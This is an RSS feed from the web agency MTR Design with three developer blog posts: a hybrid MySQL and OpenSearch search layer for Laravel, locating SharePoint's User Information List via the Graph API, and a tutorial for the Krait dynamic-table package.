<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">
    <channel>
        <title>MTR Design</title>
        <link>https://mtr-design.com</link>
        <description>MTR Design is an innovative web company, offering all services needed to deliver a web design and development project that is successful.</description>
                    <item>
                <title>Zero Migration, 10x Search: When MySQL Meets OpenSearch</title>
                <link>https://mtr-design.com/news/zero-migration-10x-search-when-mysql-meets-opensearch</link>
                <guid>https://mtr-design.com/news/zero-migration-10x-search-when-mysql-meets-opensearch</guid>
                <pubDate>Thu, 25 Sep 2025 12:00:00 +0000</pubDate>
                <dc:creator>Tsvetoslav N</dc:creator>
                <description><![CDATA[<p>Our Laravel application had grown into a robust platform powered by MySQL, with tables containing dozens of columns and automatic syncing to multiple third-party services. Everything was working smoothly until our client asked for something that sounded simple but wasn&rsquo;t: the ability to search and sort by nearly every field in the database.<br />The new requirements were ambitious: search across 47 different columns, sort by any combination of fields, and keep everything lightning fast as the data grew.</p>]]></description>
                <content:encoded><![CDATA[<h3>The Index Experiment</h3>
<p>We started with the obvious solution&mdash;adding more database indexes. If MySQL was struggling with complex searches, more indexes should fix it, right? We added composite indexes, covering indexes, and partial indexes across our wide tables.</p>
<p>The results were mixed. Some queries got faster, but others became painfully slow. Worse, saving data started taking longer because MySQL had to update all those indexes every time. We had created a performance seesaw.</p>
<p>To optimize our database structure, we also consolidated many of the searchable columns into a single JSON column, reducing the table width and improving MySQL&rsquo;s performance for non-search operations. However, this made searching even more complex, as JSON queries in MySQL are notoriously slow and limited.</p>
<p>Why We Couldn&rsquo;t Just Switch</p>
<p>The logical next step seemed obvious: migrate everything to a dedicated search engine like OpenSearch. But here&rsquo;s the catch&mdash;our application wasn&rsquo;t just a simple database with some queries. We had built complex syncing logic that automatically pulled data from various external services and kept everything in sync using MySQL&rsquo;s reliable structure.</p>
<p>Switching to OpenSearch meant rewriting all of that&mdash;not just tweaking a few queries, but rebuilding the entire foundation of how our app handles data. We were looking at months of risky development work.</p>
<p>There had to be a better way.</p>
<p><img src="/storage/var/images/news/zero-migration-10x-search/opensearch-rescue.jpg" alt="OpenSearch to the rescue" width="500" height="480" /></p>
<h2>The Hybrid Solution: Best of Both Worlds</h2>
<p>Instead of choosing between MySQL and OpenSearch, we decided to use both. The idea was simple: let OpenSearch handle the complex searching and filtering, while MySQL continues managing data integrity, relationships, and business logic.</p>
<p>Here&rsquo;s how our hybrid architecture works:</p>
<p><img src="/storage/var/images/news/zero-migration-10x-search/data-flow.png" alt="Data Flow Diagram" width="750" height="824" /></p>
<h3>The Architecture</h3>
<p>OpenSearch serves as our search layer, storing searchable copies of our data optimized for complex queries across multiple fields. It excels at fuzzy matching, sorting by any column combination, and handling the 47+ searchable fields our client requested.</p>
<p>MySQL remains our source of truth for all data creation, updates, and business logic. Our third-party integrations, sync processes, and complex relationships stay exactly where they are&mdash;no rewriting required.</p>
<p>The magic happens in the integration layer. When you query our system, OpenSearch finds the matching records and returns their IDs. We then use those IDs to fetch the full data from MySQL, maintaining all relationships and computed fields.</p>
<h3>The Implementation</h3>
<p>We built a custom query builder that mirrors Laravel&rsquo;s Eloquent syntax but works with OpenSearch under the hood. Here&rsquo;s how it looks in practice:</p>
<pre class="language-javascript"><code>$records = config('services.opensearch.enabled', true) ? Lead::queryOSS() : Lead::query();
$user = $request-&gt;user();

$sorting = $this-&gt;getSortingParams($request,
    'leads/{category}',
    'leads-main-listing'
);
$records = $records-&gt;filterBy(collect($request-&gt;all()), $category, user());
$records = $records-&gt;sortBy($sorting, $user);
$records = $records-&gt;paginate($sorting['ipp']);</code></pre>
<p>The beauty is in the simplicity&mdash;changing from <code>Lead::query()</code> to <code>Lead::queryOSS()</code> was literally the only change needed in most of our controllers.</p>
<h3>OpenSearch Configuration</h3>
<p>Setting up OpenSearch required careful configuration to handle our specific data structure. Here&rsquo;s our configuration setup:</p>
<pre class="language-javascript"><code>'&lt;index_name&gt;' =&gt; [
    'name' =&gt; env('OPENSEARCH_INDEX_RECORDS', '&lt;index_name&gt;'),
    'main_index' =&gt; env('OPENSEARCH_INDEX_RECORDS', '&lt;index_name&gt;').'_main',
    'migration_index' =&gt; env('OPENSEARCH_INDEX_RECORDS', '&lt;index_name&gt;').'_migration',
    'settings' =&gt; [
        'number_of_shards' =&gt; 1,
        'number_of_replicas' =&gt; 1,
        'max_result_window' =&gt; 50000,
    ],
    'mappings' =&gt; [
        'date_detection' =&gt; true,
        'dynamic_date_formats' =&gt; [
            'MM/dd/yyyy||yyyy-MM-dd||strict_date_optional_time',
        ],
        'dynamic' =&gt; true,
        'dynamic_templates' =&gt; [
            [
                'strings_as_keywords' =&gt; [
                    'match_mapping_type' =&gt; 'string',
                    'mapping' =&gt; [
                        'type' =&gt; 'keyword',
                    ],
                ],
            ],
        ],
    ],
],</code></pre>
<p>Key configuration decisions:</p>
<p>We enabled dynamic mapping to automatically handle new fields without manual schema updates, perfect for our evolving data structure. Most of our searchable fields are exact matches rather than full-text searches, so we configured strings to be indexed as keywords by default.</p>
<p>We configured multiple date formats to handle the various date formats coming from our JSON columns and third-party integrations. Additionally, we set a high <code>max_result_window</code> to support large exports and reports that our users frequently generate.</p>
<h3>Edge Cases/Trade-offs</h3>
<p>The most challenging part is the data synchronization from MySQL to OpenSearch. To make it work reliably, you must be 100% sure that you&rsquo;ve mapped the correct field types between the two systems.</p>
<p>In MySQL, we were saving booleans as <code>1</code> and <code>0</code> (one bit), but OpenSearch has a dedicated <code>boolean</code> type. You could configure a custom parser to accept 0 and 1, but it&rsquo;s better to handle this conversion in your sync code and keep the input to OpenSearch as proper <code>true</code>/<code>false</code> values.</p>
<p>We sync all strings as keyword fields since we don&rsquo;t need fancy full-text operations. Wildcard searches work fine on keywords, and all MySQL-style searching continues to work. We don&rsquo;t need to tokenize our strings, which simplifies the mapping.</p>
<p>Different date formats between MySQL and OpenSearch can cause sync failures. We handle multiple date formats in our configuration, but it&rsquo;s crucial to standardize date handling in your sync logic.</p>
<p>Unlike a single database, you now have two sources of truth that can potentially drift apart. Your sync logic must be bulletproof, with proper error handling and retry mechanisms.</p>
<h3>Data Synchronization</h3>
<p>We implemented automatic syncing using Laravel&rsquo;s model observers. Whenever a record is created, updated, or deleted in MySQL, an event triggers a background job that updates the corresponding document in OpenSearch:</p>
<pre class="language-javascript"><code>public function created(Lead|Model $model): void
{
    $this-&gt;dispatchOSSSync($model);
}

public function updated(Model $model): void
{
    foreach ($model-&gt;getOSSFields() as $field) {
        if ($model-&gt;isDirty($field)) {
            $this-&gt;dispatchOSSSync($model);
            break;
        }
    }
}</code></pre>
<h3>OSS Interface and Trait Implementation</h3>
<p>The <code>getOSSFields()</code> method is defined in an interface that all OpenSearch-searchable models must implement. This ensures consistent behavior across different models and makes it easy to define which fields should be synced to OpenSearch.</p>
<p>We also created an <code>OssSearchable</code> trait that implements the required configurational methods:</p>
<pre class="language-javascript"><code>trait OssSearchable
{
    public static function queryOSS(): OSSQuery
    {
        $builderClass = self::getQueryBuilderClass();
        
        return new $builderClass(
            self::getOssIndexName(),
            targetModelClass: self::class
        );
    }

    protected static function getOssIndexName(): string
    {
        $table = (new self)-&gt;getTable();
        return config("opensearch.indexes.$table.name");
    }

    protected static function getQueryBuilderClass(): string
    {
        return OSSQuery::class;
    }
}</code></pre>
<p>This trait handles the configuration boilerplate, making it simple to add OpenSearch capabilities to any model by just implementing the interface and using the trait.</p>
<h3>Zero-Downtime Index Management</h3>
<p>One of the biggest challenges with search engines is updating index settings or mappings without downtime. We solved this with an index swapping strategy:</p>
<ol>
<li><strong>Create New Index:</strong> When we need to update index settings, we create a new index with the updated configuration</li>
<li><strong>Migrate Data:</strong> We reindex all data from the old index to the new index using OpenSearch&rsquo;s reindex API</li>
<li><strong>Atomic Swap:</strong> We use index aliases to atomically switch traffic from the old index to the new one</li>
<li><strong>Cleanup:</strong> Once the swap is complete, we delete the old index</li>
</ol>
<p>This approach ensures that our application continues to work seamlessly even during major index updates, maintaining high availability while allowing us to evolve our search infrastructure.</p>
<h3>The Query Builder Magic</h3>
<p>Our OpenSearch query builder maintains familiar Eloquent methods while translating them to OpenSearch queries behind the scenes:</p>
<pre class="language-javascript"><code>public function get(): array
{
    $results = $this-&gt;openSearchService-&gt;searchByQuery(
        query: $this-&gt;buildQuery(),
        index: $this-&gt;index,
        sort: $this-&gt;sort,
        searchAfter: $this-&gt;searchAfter,
        limit: $this-&gt;limit
    );

    if ($this-&gt;targetModelClass) {
        $records = $this-&gt;getMySQLRecords($results['records']);
    } else {
        $records = Collection::make($results['records'])-&gt;map(function ($record) {
            return OSSDocument::fromRawResponse($record);
        });
    }

    return [
        'records' =&gt; $records,
        'total' =&gt; $results['total'],
    ];
}</code></pre>
<p>The <code>getMySQLRecords</code> method is where the magic happens&mdash;it takes the OpenSearch results (which contain document IDs) and fetches the full records from MySQL:</p>
<pre class="language-javascript"><code>protected function getMySQLRecords(array $ossRecords): EloquentCollection
{
    $uuids = Collection::make($ossRecords)-&gt;map(function ($record) {
        return $record['_id'];
    });

    $records = $this-&gt;targetModelClass::whereIn('uuid', $uuids)-&gt;get();

    // Create a map of positions to maintain OpenSearch sort order
    $orderedUuids = array_flip($uuids-&gt;toArray());
    
    // Sort the collection based on the original OpenSearch order
    $records = $records-&gt;sortBy(function ($model) use ($orderedUuids) {
        return $orderedUuids[$model-&gt;uuid];
    })-&gt;values();

    return $records;
}</code></pre>
<h3>Developer Experience</h3>
<p>The best part? Our existing Eloquent methods work seamlessly with the OpenSearch layer:</p>
<ul>
<li><code>-&gt;count()</code> - Returns total matching records</li>
<li><code>-&gt;get()</code> - Fetches all matching records from MySQL</li>
<li><code>-&gt;paginate()</code> - Handles pagination with OpenSearch sorting</li>
<li><code>-&gt;chunk()</code> - Processes large datasets in batches</li>
<li><code>-&gt;first()</code> - Gets the first matching record</li>
</ul>
<p>All familiar Laravel patterns continue to work, but now with OpenSearch&rsquo;s powerful search capabilities under the hood.</p>
<h3>The Results</h3>
<p>This hybrid approach delivered everything we needed:</p>
<p>Search queries that previously took 2-3 seconds now complete in under 200ms, even with complex filtering across multiple fields. We can now search and sort by any combination of our 47+ fields without creating dozens of database indexes.</p>
<p>Most importantly, we achieved this without massive rewrites. Our existing business logic, relationships, and third-party integrations remained untouched. OpenSearch handles the heavy lifting for search operations, while MySQL continues managing data integrity and relationships.</p>
<p>The hybrid architecture proved that sometimes the best solution isn&rsquo;t choosing between technologies&mdash;it&rsquo;s making them work together.</p>
<h2>When Should You Use This Approach?</h2>
<h3>Use the Hybrid Approach When:</h3>
<ul>
<li><strong>Your dataset is small to medium-sized:</strong> MySQL can handle millions of records efficiently, but struggles with complex search operations across many fields. This hybrid approach works best when your data volume is manageable but you need extensive search flexibility.</li>
<li><strong>You&rsquo;re extending an existing application:</strong> If your Laravel app has been working fine with MySQL, it means your data scale is appropriate. The hybrid approach is perfect for adding advanced search capabilities without the risk and cost of a complete rewrite.</li>
<li><strong>You have many searchable fields:</strong> When you need to search and sort across dozens of columns without creating performance-killing indexes, OpenSearch excels while MySQL handles the relationships and business logic.</li>
<li><strong>You value development speed:</strong> Changing from <code>-&gt;query()</code> to <code>-&gt;queryOSS()</code> in existing controllers is much faster than rebuilding your entire data layer.</li>
</ul>
<h3>Don&rsquo;t Use This Approach When:</h3>
<ul>
<li><strong>You&rsquo;re dealing with truly massive datasets:</strong> If you&rsquo;re expecting millions of records with high growth rates, it&rsquo;s better to invest in a complete architectural overhaul using dedicated NoSQL solutions like DynamoDB or a full OpenSearch implementation.</li>
<li><strong>You don&rsquo;t actually need it:</strong> Don&rsquo;t add complexity just because it looks cool. The hybrid approach introduces synchronization overhead, type conversion challenges, and additional infrastructure. Only implement it when your application genuinely needs advanced search capabilities.</li>
<li><strong>Your current setup works fine:</strong> If your MySQL queries are fast enough and your users are happy with the current search functionality, the added complexity isn&rsquo;t worth it.</li>
<li><strong>You can&rsquo;t handle the operational complexity:</strong> Managing two data stores means dealing with synchronization issues, data consistency concerns, and more complex deployment and monitoring requirements.</li>
</ul>
<p>Remember, every architectural decision is a trade-off. The hybrid approach trades some complexity for search performance and flexibility&mdash;make sure that trade-off makes sense for your specific use case.</p>]]></content:encoded>
            </item>
                    <item>
                <title>SharePoint’s User Information List Saga</title>
                <link>https://mtr-design.com/news/sharepoint-s-user-information-list-saga</link>
                <guid>https://mtr-design.com/news/sharepoint-s-user-information-list-saga</guid>
                <pubDate>Thu, 11 Sep 2025 12:00:00 +0000</pubDate>
                <dc:creator>Desislav M</dc:creator>
                <description><![CDATA[<p>Working with SharePoint through the Microsoft Graph API can be tricky, especially when dealing with user lookups. Here's how we solved the User Information List puzzle and made our code work across different languages and tenants.</p>]]></description>
                <content:encoded><![CDATA[<p>If you've ever worked with SharePoint through the Microsoft Graph API, you've probably run into the same rabbit hole we did: <strong>how do you deal with lookups to users?</strong></p>
<p>Naturally, the first question is: <em>Where does SharePoint keep its list of known users?</em></p>
<p>If you search online, you'll find the same advice repeated everywhere: "<em>Look for the list named <strong>User Information List</strong>.</em>"</p>
<p>At first glance, that sounds simple. Unfortunately, it isn't.</p>
<hr />
<h2>The problem with filtering</h2>
<p>When querying SharePoint lists through MS Graph API (<code>/sites/{tenant}.sharepoint.com,{siteId},{webId}/lists</code>), we expected to be able to filter by useful fields such as `name`, `system`, or others. Every attempt failed with errors - except one:</p>
<pre class="language-markup"><code>$filter=displayName eq 'User Information List'</code></pre>
<p>That was the <strong>only filter</strong> that actually worked. Relying on `displayName` felt brittle, especially since localization could easily change it. But with no other option, we reluctantly continued with this "solution".</p>
<hr />
<h2>The localisation surprise</h2>
<p>Then came the day when a client's SharePoint site didn't have a <em>"User Information List"</em> at all. Or so we thought.</p>
<p>The catch? Their SharePoint instance was running in a <strong>non-English localisation</strong>. The list was there, just under a different name. Since the Graph API wasn't returning system lists by default, we couldn't see it.</p>
<p>We cross-checked with an English-localised instance and confirmed something important: <strong>system lists are hidden unless you explicitly include them</strong>. (facepalm moment).</p>
<hr />
<h2>The solution</h2>
<p>The trick is to use the `system` property when listing lists. This ensures that system lists are included in the response. Once you do that, you can safely filter by `name=users` in your code, which stays consistent regardless of localization.</p>
<p>Here's the request:</p>
<pre class="language-markup"><code>GET https://graph.microsoft.com/v1.0/sites/{tenant}.sharepoint.com,{siteId},{webId}/lists?$top=999&amp;$select=id,name,displayName,system</code></pre>
<p>And a sample response:</p>
<pre class="language-markup"><code>{
  "@odata.etag": "\"xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx,240\"",
  "id": "xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "name": "users",
  "displayName": "User Information List",
  "system": {}
}</code></pre>
<p>Notice the important part: `"name": "users"`.</p>
<p>That's the consistent key you should rely on, not the localised `displayName`.</p>
<hr />
<h2>What we learned (the hard way)</h2>
<ul>
<li>Graph API filtering on lists is extremely limited.</li>
<li>System lists (like the User Information List) don't show up unless you include `system`.</li>
<li>Always rely on `name=users` instead of `displayName`, so your code works across different languages and tenants.</li>
</ul>
<p>With this approach, you can reliably retrieve the User Information List's ID and name without falling into localisation or filtering traps.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Krait: Where Laravel Meets Dynamic Tables</title>
                <link>https://mtr-design.com/news/krait-where-laravel-meets-dynamic-tables</link>
                <guid>https://mtr-design.com/news/krait-where-laravel-meets-dynamic-tables</guid>
                <pubDate>Fri, 13 Dec 2024 12:00:00 +0000</pubDate>
                <dc:creator>Tsvetoslav N</dc:creator>
                <description><![CDATA[<p>Krait is a Laravel package that automates the creation of Ajax Dynamic DataTables by combining VueJS components with Laravel functionalities. With a single command-line interface operation, it efficiently generates and connects all necessary front-end and back-end resources, including controllers, routes, Vue components, and table definitions, providing developers with an out-of-the-box working solution. Following Laravel's conventions, developers can define and customize table structures from the back-end, including column configurations and data preprocessing, while maintaining the flexibility to fine-tune the front-end presentation through the generated VueJS components.</p>]]></description>
                <content:encoded><![CDATA[<h2>The Perfect Trinity: Bootstrap + VueJS + Laravel = <img src="/storage/var/images/news/krait/rocket-emoji.png" style="border: 0;" alt="Rocket icon" width="40" height="40" /></h2>
<p>Ever found yourself in the DataTable dilemma? When building a Single Page Application with popular frameworks like MUI, implementing dynamic tables is straightforward - just grab their ready-made components and you're good to go.</p>
<p>But here's the catch: What if you don't want to transform your entire project into a SPA just to get your hands on a fancy table component? Importing an entire framework for a single feature feels like using a sledgehammer to crack a nut.</p>
<p>Imagine this scenario: You're deep into a Laravel project that elegantly combines Blade templates with sprinkles of VueJS components for interactive features. Then comes the need for a DataTable. Your options?</p>
<ol>
<li>Go big: Import an entire framework for VueJS</li>
<li>Go "not so" big: Add a VueJS-specific DataTable plugin</li>
</ol>
<p>Here's where it gets interesting - both options miss out on Laravel's powerful built-in features. Think API Resources, Pagination, Sorting - all the good stuff you already have at your fingertips. That's where Krait steps in, embracing a simple yet powerful philosophy: "Why add extra complexity when Laravel already provides everything you need?"</p>
<h2>Key Features</h2>
<h3>Dynamic Front-End Capabilities</h3>
<ul>
<li>Resizable Columns: All columns are resizable by default, with the option to set fixed-width columns through backend configuration</li>
<li>Column Visibility Control: Users can show/hide columns via an intuitive dropdown interface</li>
<li>Column Reordering: Drag-and-drop functionality allows users to customize column arrangement</li>
<li>AJAX Pagination: Seamless data loading with adjustable items per page</li>
<li>Smart Sorting: Built-in column sorting with the ability to disable sorting for specific columns</li>
</ul>
<h3>User Experience</h3>
<ul>
<li>Persistent Settings: All user preferences (column width, visibility, order) are automatically saved and restored</li>
<li>Zero Page Reloads: Pure AJAX-based interactions for smooth user experience</li>
<li>Bootstrap Integration: Leverages Bootstrap's styling for consistent look and feel</li>
<li>Responsive Design: Adapts to different screen sizes and devices</li>
</ul>
<h3>Developer-Friendly Features</h3>
<ul>
<li>Single Command Generation: Create complete table implementations with one Artisan command</li>
<li>MVC Pattern Compliance: Automatically generates organized code following Laravel best practices</li>
<li>Built-in Laravel Integration:
<ul>
<li>Seamless API Resource utilization</li>
<li>Native Laravel pagination support</li>
<li>Built-in authentication handling</li>
<li>Automatic route registration</li>
</ul>
</li>
</ul>
<h3>Backend Flexibility</h3>
<ul>
<li>Customizable Data Processing: Full control over data retrieval and transformation</li>
<li>Column Configuration API: Comprehensive options for defining column behavior</li>
<li>Security Integration: Leverages Laravel's authentication and authorization systems</li>
<li>Performance Optimization: Efficient data loading and processing mechanisms</li>
</ul>
<h2>Getting Started with Krait</h2>
<p>Krait is an open-source solution available on <a href="https://github.com/mtrdesign/krait" target="_blank" rel="noopener noreferrer">GitHub</a>. While it consists of two packages - a front-end package - <a href="https://www.npmjs.com/package/@mtrdesign/krait-ui" target="_blank" rel="noopener noreferrer">@mtrdesign/krait-ui</a> and a back-end package - <a href="https://packagist.org/packages/mtrdesign/krait" target="_blank" rel="noopener noreferrer">mtrdesign/krait</a>, the installation process is streamlined through the main Laravel package.</p>
<p>To get started, simply install the package via Composer:</p>
<pre class="language-markup"><code>composer install mtrdesign/krait</code></pre>
<p>Then run the Laravel Artisan installation command:</p>
<pre class="language-markup"><code>php artisan krait:install</code></pre>
<p>This will automatically install and configure all required resources in their appropriate locations.</p>
<h4>One last step...</h4>
<p>The final part is to add Krait's plugin to your VueJS application. In the <code>app.js</code> (the JS entrypoint of the application) add the following lines:</p>
<pre class="language-javascript"><code>// Import Krait JS
import Krait from "@mtrdesign/krait-ui";
import tables from "./components/tables";

// Import Krait Styles
import "@mtrdesign/krait-ui/styles";

// Inject Krait in your VueJS application
const app = Vue.createApp({});
app.use(Krait, {
    tables: tables,
});</code></pre>
<h4>Now let's create our first table</h4>
<p>Looking for Example Table Inspiration? Our Feline Friends Have the Answer!</p>
<p>Generate it with a single command:</p>
<pre class="language-markup"><code>php artisan krait:table CatsTable</code></pre>
<p>This command generates three key files, following the MVC pattern:</p>
<ul>
<li>Model (<code>/app/Tables/CatsTable.php</code>): Defines the table structure and column configurations</li>
<li>Controller (<code>/app/Http/Controllers/Tables/CatsTableController.php</code>): Handles data retrieval logic</li>
<li>View (<code>/resources/js/components/tables/CatsTable.js</code>): VueJS component for front-end visualization, available as <code>&lt;cats-table&gt;</code> in your Blade templates</li>
</ul>
<p>That's all it takes to create a fully functional dynamic DataTable! Everything is automatically handled behind the scenes, including:</p>
<ul>
<li>API routes and authentication</li>
<li>Data modeling and retrieval</li>
<li>Pagination and sorting capabilities</li>
<li>Table configurations
<ul style="padding-bottom: 0;">
<li>Column visibility</li>
<li>Column ordering</li>
<li>Column sizing</li>
<li>Preview settings</li>
</ul>
</li>
</ul>
<p>No additional setup required - you're ready to start customizing your table just by using the&nbsp;<code>&lt;cats-table&gt;</code>&nbsp;VueJS component.</p>
<h3>Customizing the Table</h3>
<p>The default table template starts with a basic structure of two columns and one additional attribute:</p>
<pre class="language-php"><code># /app/Tables/CatsTable.php
...
class CatsTable {
  ...
  function initColumns(): void
  {
    $this-&gt;column(
      name: 'my_first_column',
      label: 'My First Column',
      process: fn(mixed $resource) =&gt; 'This content is processed.'
    );

    $this-&gt;column(
      name: 'some_field',
      label: 'Resource Field',
    );
  }

  function additionalData(mixed $resource): array
  {
    return [
      'additional_prop' =&gt; 'Krait is awesome!',
    ];
  }
}</code></pre>
<p>All columns are defined in the <code>initColumns</code> function. Now, let's transform this into a more practical example for our cat management system. Let's add a <code>name</code>, <code>breed</code>, <code>country</code>, <code>profession</code> (yes - we all know that the cats are lazy but let's assume that they can work!).</p>
<pre class="language-php"><code># /app/Tables/CatsTable.php
...
class CatsTable {
  ...
  function initColumns(): void
  {
    $this-&gt;column(
      name: 'name',
      label: 'Name',
      sortable: true,
      process: fn($cat) =&gt; ucfirst($cat-&gt;name)
    );

    $this-&gt;column(
      name: 'breed',
      label: 'Breed',
      sortable: true,
    );

    $this-&gt;column(
      name: 'country_code',
      label: 'Country',
      sortable: true,
    );

    $this-&gt;column(
      name: 'profession',
      label: 'Job Title',
      sortable: true,
    );
  }
...
}</code></pre>
<p>The <code>name</code> field specifies the property name in the data records, while the <code>label</code> field defines the display title shown in the user interface.</p>
<p>To enhance the functionality, we'll fetch the actual country names from a third-party API. Let's add a new <code>attribute</code> function to our <code>CatsTable</code> class as follows:</p>
<pre class="language-php"><code># /app/Tables/CatsTable.php

use GuzzleHttp\Client;
use Illuminate\Support\Facades\Cache;
...
class CatsTable {
  ...
  function getCountryCodeKraitAttribute(mixed $cat): string
  {
    return Cache::remember("country_{$cat-&gt;country_code}", 3600, function() use ($cat) {
      $client = new Client();

      try {
        $response = $client-&gt;get(
            "https://restcountries.com/v3.1/alpha/{$cat-&gt;country_code}"
        );
        $data = json_decode($response-&gt;getBody(), true);
        return $data[0]['name']['common'] ?? $cat-&gt;country_code;
      } catch (Exception $e) {
        return $cat-&gt;country_code;
      }
    });
  }
}</code></pre>
<p>This example demonstrates how to create dynamic data pipelines in the table class, which has many practical applications in real-world scenarios.</p>
<p>Let's examine our <code>CatsTableController</code> class in detail. By default, the controller returns the following:</p>
<pre class="language-php"><code># /app/Http/Controllers/Tables/CatsTableController.php
use App\Tables\CatsTable;
...
class CatsTableController {
  public function __invoke(): TableCollection
  {
    $items = collect([
      [
        'some_field' =&gt; 'Some field value'
      ]
    ]);

    return CatsTable::from($items);
  }
}</code></pre>
<p>Krait is flexible and works with multiple data formats, including:</p>
<ul>
<li>Eloquent collections</li>
<li>Regular PHP arrays</li>
<li>Laravel collections</li>
</ul>
<p>For this example, we'll use an Eloquent model called <code>Cat</code>, which corresponds to a database table <code>cats</code> containing the following fields:</p>
<ul>
<li><code>name</code></li>
<li><code>breed</code></li>
<li><code>country_code</code></li>
<li><code>profession</code></li>
</ul>
<hr />
<h4>Steps to reproduce it</h4>
<ol>
<li>Create the model using <code>php artisan make:model Cat -m</code></li>
<li>Update the migration</li>
</ol>
<pre class="language-php"><code># /database/migrations/xxxxxx_create_cats_table.php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

class CreateCatsTable extends Migration
{
  public function up()
  {
    Schema::create('cats', function (Blueprint $table) {
      $table-&gt;id();
      $table-&gt;string('name');
      $table-&gt;string('breed');
      $table-&gt;string('country_code');
      $table-&gt;string('profession');
      $table-&gt;timestamps();
    });
  }

  public function down()
  {
    Schema::dropIfExists('cats');
  }
}</code></pre>
<ol start="3" dir="auto">
<li>Run the migration</li>
</ol>
<pre class="language-markup"><code>php artisan migrate</code></pre>
<ol start="4" dir="auto">
<li>Update the <code>Cat</code> model</li>
</ol>
<pre class="language-php"><code># /app/Models/Cat.php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class Cat extends Model
{
  protected $fillable = [
    'name',
    'breed',
    'country_code',
    'profession'
  ];
}</code></pre>
<ol start="5" dir="auto">
<li>Create the Factory:</li>
</ol>
<pre class="language-markup"><code>php artisan make:factory CatFactory</code></pre>
<ol start="6" dir="auto">
<li>Create the Seeder:</li>
</ol>
<pre class="language-markup"><code>php artisan make:seeder CatSeeder</code></pre>
<ol start="7" dir="auto">
<li>Edit the Factory:</li>
</ol>
<pre class="language-php"><code>&lt;?php
# /database/factories/CatFactory.php

namespace Database\Factories;

use App\Models\Cat;
use Illuminate\Database\Eloquent\Factories\Factory;

class CatFactory extends Factory
{
  protected $model = Cat::class;

  public function definition()
  {
    return [
      'name' =&gt; $this-&gt;faker-&gt;firstName,
      'breed' =&gt; $this-&gt;faker-&gt;randomElement(['Persian', 'Siamese', 'Maine Coon', 'British Shorthair', 'Ragdoll']),
      'country_code' =&gt; $this-&gt;faker-&gt;countryCode,
      'profession' =&gt; $this-&gt;faker-&gt;jobTitle
    ];
  }
}</code></pre>
<ol start="8" dir="auto">
<li>Edit the Seeder:</li>
</ol>
<pre class="language-php"><code>&lt;?php
# /database/seeders/CatSeeder.php

namespace Database\Seeders;

use App\Models\Cat;
use Illuminate\Database\Seeder;

class CatSeeder extends Seeder
{
  public function run()
  {
    Cat::factory()-&gt;count(500)-&gt;create();
  }
}</code></pre>
<ol start="9" dir="auto">
<li>Update your Model to use <code>HasFactory</code>:</li>
</ol>
<pre class="language-php"><code>&lt;?php
# /app/Models/Cat.php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class Cat extends Model
{
  use HasFactory;

  protected $fillable = [
    'name',
    'breed',
    'country_code',
    'profession'
  ];
}</code></pre>
<ol start="10" dir="auto" style="margin-left: 10px;">
<li>Run the seeder:</li>
</ol>
<pre class="language-markup"><code>php artisan db:seed --class=CatSeeder</code></pre>
<hr />
<p>Alright, now we have seeded the cats - a lot of cats!</p>
<h4>Let's show them!</h4>
<pre class="language-php"><code># /app/Http/Controllers/Tables/CatsTableController.php

use App\Tables\CatsTable;
use App\Models\Cat;
...
class CatsTableController {
  public function __invoke(): TableCollection
  {
    # Using query to let Krait manage the pagination
    $cats = Cat::query()

    return CatsTable::from($cats);
  }
}</code></pre>
<p>That's it! The setup is now complete with all features working automatically:</p>
<ul>
<li>Pagination</li>
<li>Filtering</li>
<li>User preferences</li>
<li>Custom column previews</li>
<li>And more</li>
</ul>
<p><img src="/storage/var/images/news/krait/example-table.png" alt="Example table" caption="false" width="800" height="571" /></p>
<p>For advanced column structure customization options, please refer to our <a href="https://mtrdesign.github.io/krait/" target="_blank" rel="noopener noreferrer">Official Documentation</a>.</p>
<h4>A Slight Touch on the Front-end Customizations</h4>
<p>You can customize how table rows are displayed by modifying the VueJS component at <code>/resources/js/components/tables/CatsTable.vue</code>. For example, let's modify the component to display "lazy cat..." for records where the profession field is empty.</p>
<pre class="language-javascript"><code>// /resources/js/components/tables/CatsTable.vue

&lt;script setup&gt;
defineProps({
  'filtersForm': {
    type: String,
    required: false,
    default: undefined,
  }
});
&lt;/script&gt;

&lt;template&gt;
  &lt;DynamicTable
    apiEndpoint="users-table"
    :filtersForm="filtersForm"
  &gt;
    &lt;template #row="{ record, column }"&gt;
      &lt;div class="cell" v-if="column.name === 'profession'"&gt;
        {{ record[column.name] }} ?? "lazy cat..."
      &lt;/div&gt;
      &lt;div class="cell" v-else&gt;
        {{ record[column.name] ?? 'N/A' }}
      &lt;/div&gt;
    &lt;/template&gt;
  &lt;/DynamicTable&gt;
&lt;/template&gt;</code></pre>
<p>These examples cover the basic customization of Krait, but the framework offers many more advanced features, including:</p>
<ul>
<li><strong>Adding Filters Form:</strong> Create custom search and filtering interfaces</li>
<li><strong>Dynamic Columns Generation:</strong> Build fully dynamic tables with columns fetched from external services</li>
<li><strong>Customizing Column Behavior:</strong> Configure which columns can be sorted or filtered</li>
</ul>
<p>For a complete overview of all features, please refer to our <a href="https://mtrdesign.github.io/krait/" target="_blank" rel="noopener noreferrer">documentation</a>.</p>
<h2>Conclusion</h2>
<p>Krait offers a pragmatic solution to a common challenge in Laravel development - implementing dynamic tables without overcomplicating your application architecture. By leveraging Laravel's existing strengths and combining them with lightweight VueJS components, Krait provides a perfect balance between functionality and simplicity.</p>
<p>The package's philosophy of "working with Laravel, not against it" means you can maintain clean, maintainable code while still delivering powerful, feature-rich tables. Whether you're building a small project or a large-scale application, Krait's approach of minimal overhead and maximum integration makes it an excellent choice for Laravel developers who want sophisticated table functionality without the complexity of full-scale SPA frameworks.</p>
<p>With its single-command setup, intuitive API, and extensive customization options, Krait empowers developers to create professional-grade dynamic tables while staying true to Laravel's elegant syntax and conventions.</p>
